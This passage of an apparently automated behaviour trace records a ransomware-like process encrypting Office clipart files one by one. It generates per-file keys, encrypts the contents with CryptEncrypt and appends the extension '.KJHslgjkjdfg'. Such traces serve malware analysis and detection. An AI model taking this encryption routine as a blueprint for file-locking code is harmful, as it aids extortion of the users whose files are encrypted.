hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.830] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.830] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.830] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19e8, lpOverlapped=0x0) returned 1 [0181.831] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19f0) returned 1 [0181.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.831] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19f0, lpOverlapped=0x0) returned 1 [0181.832] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.832] SetEndOfFile (hFile=0x130) returned 1 [0181.835] GetProcessHeap () returned 0x990000 [0181.835] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.835] GetProcessHeap () returned 0x990000 [0181.835] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.kjhslgjkjdfg")) returned 1 [0181.840] CloseHandle (hObject=0x130) returned 1 [0181.840] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0181.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.841] GetProcessHeap () returned 0x990000 [0181.842] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.842] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.845] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.845] GetProcessHeap () returned 0x990000 [0181.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.845] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.846] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.846] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.846] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.846] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.846] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.846] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.846] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.847] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x83c, lpOverlapped=0x0) returned 1 [0181.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840, dwBufLen=0x840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840) returned 1 [0181.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.847] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x840, lpOverlapped=0x0) returned 1 [0181.847] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.847] SetEndOfFile (hFile=0x130) returned 1 [0181.850] GetProcessHeap () returned 0x990000 [0181.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.850] GetProcessHeap () returned 0x990000 [0181.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.kjhslgjkjdfg")) returned 1 [0181.853] CloseHandle (hObject=0x130) returned 1 [0181.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0181.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.854] GetProcessHeap () returned 0x990000 [0181.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.859] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.859] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.859] GetProcessHeap () returned 0x990000 [0181.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.859] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.859] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.859] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.859] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.859] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.860] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2418, lpOverlapped=0x0) returned 1 [0181.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2420, dwBufLen=0x2420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2420) returned 1 [0181.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2420, lpOverlapped=0x0) returned 1 [0181.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.862] SetEndOfFile (hFile=0x130) returned 1 [0181.865] GetProcessHeap () returned 0x990000 [0181.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.865] GetProcessHeap () returned 0x990000 [0181.865] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.kjhslgjkjdfg")) returned 1 [0181.869] CloseHandle (hObject=0x130) returned 1 [0181.869] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0181.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.870] GetProcessHeap () returned 0x990000 [0181.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.870] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.872] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.872] GetProcessHeap () returned 0x990000 [0181.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.873] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.873] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.873] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.873] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.873] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x928, lpOverlapped=0x0) returned 1 [0181.873] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930, dwBufLen=0x930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x930) returned 1 [0181.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.874] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x930, lpOverlapped=0x0) returned 1 [0181.874] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.874] SetEndOfFile (hFile=0x130) returned 1 [0181.877] GetProcessHeap () returned 0x990000 [0181.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.877] GetProcessHeap () returned 0x990000 [0181.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.kjhslgjkjdfg")) returned 1 [0181.883] CloseHandle (hObject=0x130) returned 1 [0181.981] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0181.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.988] GetProcessHeap () returned 0x990000 [0181.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.989] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.989] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.991] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.991] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.991] GetProcessHeap () returned 0x990000 [0181.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.991] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.991] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.991] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.991] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.991] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.992] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.992] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.992] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.992] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.992] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17ac, lpOverlapped=0x0) returned 1 [0181.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17b0) returned 1 [0181.993] SetFilePointerEx (in: 